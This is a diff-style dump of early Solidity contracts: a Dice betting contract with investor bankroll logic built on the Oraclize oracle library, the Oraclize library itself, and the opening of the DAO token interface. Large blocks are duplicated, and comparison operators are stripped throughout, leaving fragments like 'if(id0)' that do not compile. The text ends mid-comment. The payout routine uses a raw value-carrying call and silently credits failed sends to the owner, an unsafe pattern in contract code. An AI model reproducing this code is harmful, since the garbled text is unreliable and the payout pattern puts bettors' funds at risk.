edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + ownerEdge = ownerEdgeInitial; + divestFee = divestFeeInitial; + + owner = msg.sender; + } + + + function() { + bet(); + } + + function bet() { + if (isStopped) throw; + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + if (msg.value < oraclizeFee) throw; + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BDXJhrVpBJ53o2CxlJRlQtZJKZqLYt5IQe+73YDS4HtNjS5HodbIB3tvfow7UquyAk085VkLnL9EpKgwqWQz7ZLdGvsQlRd2sKxIolNg9DbnfPspGqLhLbbYSVnN8CwvsjpAXcSSo3c+4cNwC90yF4oNibkvD3ytapoZ7goTSyoUYTfwSjnw3ti+HJVH7N3+c0iwOCqZjDdsGQUcX3m3S/IHWbOOQQ5osO4Lbj3Gg0x1UdNtfUzYCFY79nzYgWIQEFCuRBI0n6NBvBQW727+OsDRY0J/9/gjt8ucibHWic0=', oraclizeGasLimit); // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bets[myid] = Bet(msg.sender, betValue, 0, oraclizeFee); + betsKeys.push(myid); + } else { + throw; // invalid bet size + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function minBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + return oraclizeFee+minBet; + } + + function safeSend(address addr, uint value) internal { + if (!(addr.call.gas(safeGas).value(value)())){ + ownerProfit += int(value); + } + } + + function __callback(bytes32 myid, string result, bytes proof) { + if (msg.sender != oraclize_cbAddress()) throw; + + Bet thisBet = bets[myid]; + if (thisBet.bet>0) { + if ((isStopped == false)&&(((thisBet.bet * ((10000 - edge) - pwin)) / pwin ) <= maxWin * getBankroll() / 10000)) { + uint roll = parseInt(result); + if (roll<1 || roll>10000){ + safeSend(thisBet.user, thisBet.bet); + return; + } + + bets[myid].roll = roll; + + int profitDiff; + if (roll-1 < pwin) { //win + uint winAmount = (thisBet.bet * (10000 - edge)) / pwin; + safeSend(thisBet.user, winAmount); + profitDiff = int(thisBet.bet - winAmount); + } else { //lose + safeSend(thisBet.user, 1); + profitDiff = int(thisBet.bet) - 1; + } + + ownerProfit += (profitDiff*int(ownerEdge))/10000; + profit += profitDiff-(profitDiff*int(ownerEdge))/10000; + + amountWagered += thisBet.bet; + } else { + //bet is too big (bankroll may have changed since the bet was made) + safeSend(thisBet.user, thisBet.bet); + } + } + } + + function getBet(uint id) constant returns(address, uint, uint, uint) { + if(id0) { + rebalance(); + investors[investorIDs[msg.sender]].capital += msg.value; + invested += msg.value; + } else { + rebalance(); + uint investorID = 0; + if (numInvestors0) { + if (investors[investorID].capital>0) { + divest(investors[investorID].user, investors[investorID].capital); + investorIDs[investors[investorID].user] = 0; + } + if (investors[investorID].capital == 0 && investorIDs[investors[investorID].user] == 0) { + investors[investorID].user = msg.sender; + investors[investorID].capital = msg.value; + invested += msg.value; + investorIDs[msg.sender] = investorID; + } else { + throw; + } + } else { + throw; + } + } + } + + function rebalance() private { + if (takenProfit != profit) { + uint newInvested = 0; + uint initialBankroll = getBankroll(); + for (uint i=1; i<=numInvestors; i++) { + investors[i].capital = getBalance(investors[i].user); + newInvested += investors[i].capital; + } + invested = newInvested; + if (newInvested != initialBankroll && numInvestors>0) { + ownerProfit += int(initialBankroll - newInvested); //give the rounding error to the first investor + invested += (initialBankroll - newInvested); + } + takenProfit = profit; + } + } + + function divest(address user, uint amount) private { + if (investorIDs[user]>0) { + rebalance(); + if (amount>getBalance(user)) { + amount = getBalance(user); + } + investors[investorIDs[user]].capital -= amount; + invested -= amount; + + uint newAmount = (amount*divestFee)/10000; // take a fee from the deinvest amount + ownerProfit += int(newAmount); + safeSend(user, (amount-newAmount)); + } + } + + function divest(uint amount) { + if (msg.value>0) throw; + divest(msg.sender, amount); + } + + function divest() { + if (msg.value>0) throw; + divest(msg.sender, getBalance(msg.sender)); + } + + function getBalance(address user) constant returns(uint) { + if (investorIDs[user]>0 && invested>0) { + return investors[investorIDs[user]].capital * getBankroll() / invested; + } else { + return 0; + } + } + + function getBankroll() constant returns(uint) { + uint bankroll = uint(int(invested)+profit+ownerProfit-takenProfit); + if (this.balance < bankroll){ + log0("bankroll_mismatch"); + bankroll = this.balance; + } + return bankroll; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public ownerEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + + uint constant safeGas = 25000; + uint constant oraclizeGasLimit = 150000; + + struct Investor { + address user; + uint capital; + } + mapping(uint => Investor) investors; //starts at 1 + uint public numInvestors = 0; + mapping(address => uint) investorIDs; + uint public invested = 0; + + address owner; + bool public isStopped; + + struct Bet { + address user; + uint bet; // amount + uint roll; // result + uint fee; + } + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + uint public amountWagered = 0; + int public profit = 0; + int public takenProfit = 0; + int public ownerProfit = 0; + + function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint ownerEdgeInitial, uint divestFeeInitial) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + ownerEdge = ownerEdgeInitial; + divestFee = divestFeeInitial; + + owner = msg.sender; + } + + + function() { + bet(); + } + + function bet() { + if (isStopped) throw; + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + if (msg.value < oraclizeFee) throw; + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BDXJhrVpBJ53o2CxlJRlQtZJKZqLYt5IQe+73YDS4HtNjS5HodbIB3tvfow7UquyAk085VkLnL9EpKgwqWQz7ZLdGvsQlRd2sKxIolNg9DbnfPspGqLhLbbYSVnN8CwvsjpAXcSSo3c+4cNwC90yF4oNibkvD3ytapoZ7goTSyoUYTfwSjnw3ti+HJVH7N3+c0iwOCqZjDdsGQUcX3m3S/IHWbOOQQ5osO4Lbj3Gg0x1UdNtfUzYCFY79nzYgWIQEFCuRBI0n6NBvBQW727+OsDRY0J/9/gjt8ucibHWic0=', oraclizeGasLimit); // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bets[myid] = Bet(msg.sender, betValue, 0, oraclizeFee); + betsKeys.push(myid); + } else { + throw; // invalid bet size + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function minBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + return oraclizeFee+minBet; + } + + function safeSend(address addr, uint value) internal { + if (!(addr.call.gas(safeGas).value(value)())){ + ownerProfit += int(value); + } + } + + function __callback(bytes32 myid, string result, bytes proof) { + if (msg.sender != oraclize_cbAddress()) throw; + + Bet thisBet = bets[myid]; + if (thisBet.bet>0) { + if ((isStopped == false)&&(((thisBet.bet * ((10000 - edge) - pwin)) / pwin ) <= maxWin * getBankroll() / 10000)) { + uint roll = parseInt(result); + if (roll<1 || roll>10000){ + safeSend(thisBet.user, thisBet.bet); + return; + } + + bets[myid].roll = roll; + + int profitDiff; + if (roll-1 < pwin) { //win + uint winAmount = (thisBet.bet * (10000 - edge)) / pwin; + safeSend(thisBet.user, winAmount); + profitDiff = int(thisBet.bet - winAmount); + } else { //lose + safeSend(thisBet.user, 1); + profitDiff = int(thisBet.bet) - 1; + } + + ownerProfit += (profitDiff*int(ownerEdge))/10000; + profit += profitDiff-(profitDiff*int(ownerEdge))/10000; + + amountWagered += thisBet.bet; + } else { + //bet is too big (bankroll may have changed since the bet was made) + safeSend(thisBet.user, thisBet.bet); + } + } + } + + function getBet(uint id) constant returns(address, uint, uint, uint) { + if(id0) { + rebalance(); + investors[investorIDs[msg.sender]].capital += msg.value; + invested += msg.value; + } else { + rebalance(); + uint investorID = 0; + if (numInvestors0) { + if (investors[investorID].capital>0) { + divest(investors[investorID].user, investors[investorID].capital); + investorIDs[investors[investorID].user] = 0; + } + if (investors[investorID].capital == 0 && investorIDs[investors[investorID].user] == 0) { + investors[investorID].user = msg.sender; + investors[investorID].capital = msg.value; + invested += msg.value; + investorIDs[msg.sender] = investorID; + } else { + throw; + } + } else { + throw; + } + } + } + + function rebalance() private { + if (takenProfit != profit) { + uint newInvested = 0; + uint initialBankroll = getBankroll(); + for (uint i=1; i<=numInvestors; i++) { + investors[i].capital = getBalance(investors[i].user); + newInvested += investors[i].capital; + } + invested = newInvested; + if (newInvested != initialBankroll && numInvestors>0) { + ownerProfit += int(initialBankroll - newInvested); //give the rounding error to the first investor + invested += (initialBankroll - newInvested); + } + takenProfit = profit; + } + } + + function divest(address user, uint amount) private { + if (investorIDs[user]>0) { + rebalance(); + if (amount>getBalance(user)) { + amount = getBalance(user); + } + investors[investorIDs[user]].capital -= amount; + invested -= amount; + + uint newAmount = (amount*divestFee)/10000; // take a fee from the deinvest amount + ownerProfit += int(newAmount); + safeSend(user, (amount-newAmount)); + } + } + + function divest(uint amount) { + if (msg.value>0) throw; + divest(msg.sender, amount); + } + + function divest() { + if (msg.value>0) throw; + divest(msg.sender, getBalance(msg.sender)); + } + + function getBalance(address user) constant returns(uint) { + if (investorIDs[user]>0 && invested>0) { + return investors[investorIDs[user]].capital * getBankroll() / invested; + } else { + return 0; + } + } + + function getBankroll() constant returns(uint) { + uint bankroll = uint(int(invested)+profit+ownerProfit-takenProfit); + if (this.balance < bankroll){ + log0("bankroll_mismatch"); + bankroll = this.balance; + } + return bankroll; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + mint *= 10 ** _b; + return mint; + } + + +} +// + +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Basic, standardized Token contract with no "premine". Defines the functions to +check token balances, send tokens, send tokens on behalf of a 3rd party and the +corresponding approval process. Tokens need to be created by a derived +contract (e.g. TokenCreation.sol). + +Thank you ConsenSys, this contract originated from: +https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol +Which is itself based on the Ethereum standardized contract APIs: +https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs +*/ + +/// @title Standard Token Contract. + +contract TokenInterface { + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + /// Total amount of tokens + uint256 public totalSupply; + + /// @param _owner The address from which the balance will be retrieved + /// @return The balance + function balanceOf(address _owner) constant returns (uint256 balance); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender` + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transfer(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from` + /// @param _from The address of the origin of the transfer + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transferred + /// @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _amount) returns (bool success); + + /// @notice 